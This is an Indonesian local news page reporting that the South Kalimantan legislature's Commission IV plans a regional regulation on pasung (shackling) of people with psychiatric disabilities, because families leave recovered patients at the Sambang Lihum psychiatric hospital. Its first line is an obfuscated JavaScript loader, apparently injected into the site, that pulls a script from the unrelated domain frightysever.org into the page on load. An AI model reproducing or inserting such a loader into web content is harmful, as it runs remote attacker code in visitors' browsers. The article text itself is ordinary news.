(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pasien RSJ Sambang Lihum Penuh, Komisi IV DPRD Kalsel Wacanakan Perda Pasung


BANJARMASIN, Dewan Perwakilan Rakyat Daerah (DPRD)  Provinsi Kalimantan Selatan telah melakukan analisis masalah di lapangan terkait Tugas Pokok dan Fungsi (Tupoksi) Komisi IV di sektor Kesehatan khususnya terkait Rumah Sakit Jiwa (RSJ) Sambang Lihum.  Menurut Anggota Komisi IV dari Fraksi Partai Kebangkitan Bangsa (PKB), Yazidie Fauzi, permasalahan yang masih banyak ditemui yakni masyarakat tidak mau mengambil keluarganya di RSJ Sambang Lihum walau keadaan sudah pulih.

“Ini membuat pemerintah daerah kewalahan,  khususnya dari sektor anggaran,” ungkapnya.

Berdasarkan masalah di atas, maka pihak Rumah Sakit Sambang Lihum meminta arahan kepada Kementerian Kesehatan, Kementerian Sosial serta Pemerintah Provinsi agar adanya sebuah regulasi atau berupa Perda agar nanti penangan pasca perawatan penyandang disabilitas atau “kejiwaan”  bisa terakomodir.

Ia mengungkapkan bahwa Kementerian Kesehatan dan Kementerian Sosial telah berkoordinasi dengan membuat surat edaran yang diajukan ke Pemerintah Provinsi dengan tembusan kepada Satuan Kerja Perangkat Dinas (SKPD) terkait.

Selain itu,  Komisi IV berinisiatif untuk mengusulkan Perda Pasung untuk penyandang disabilitas kejiwaan. “Komisi IV menganggap ini adalah hal yang penting, ” ujarnya

Ia mengungkapkan bahwa akan mencari referensi sekaligus mengadopsi isi perda pasung dari Provinsi Lain yang sudah mengimplentasikannya.

“Sudah ada 7 daerah yang memiliki perda pasung salah satunya adalah Jakarta, Jawa Barat, Sumatera Utara, ” ungkapnya.

Disinggung kemungkinan ada kasus pemasungan di Kalsel, menurut Yazidie sangat dimungkinkan tapi tidak terekspos. Sebabnya bila ada keluarga yang sakit jiwa itu dianggap aib bagi keluarga bersangkutan. Dia yakin, banyak kasus pasung di Kalsel tidak terekspose.

“Kita mencoba melindungi penyadang disabilitas kejiwaan itu, agar mereka juga dapat haknya untuk diberikan pelayanan serta hak kondisi mereka hingga bisa pulih. Untuk sanksinya dalam perda ini nanti kita coba pelajari dari beberapa provinsi,” pungkasnya. (robby)


Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

41 menit ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

1 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

13 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

13 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

16 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

22 jam ago

This website uses cookies.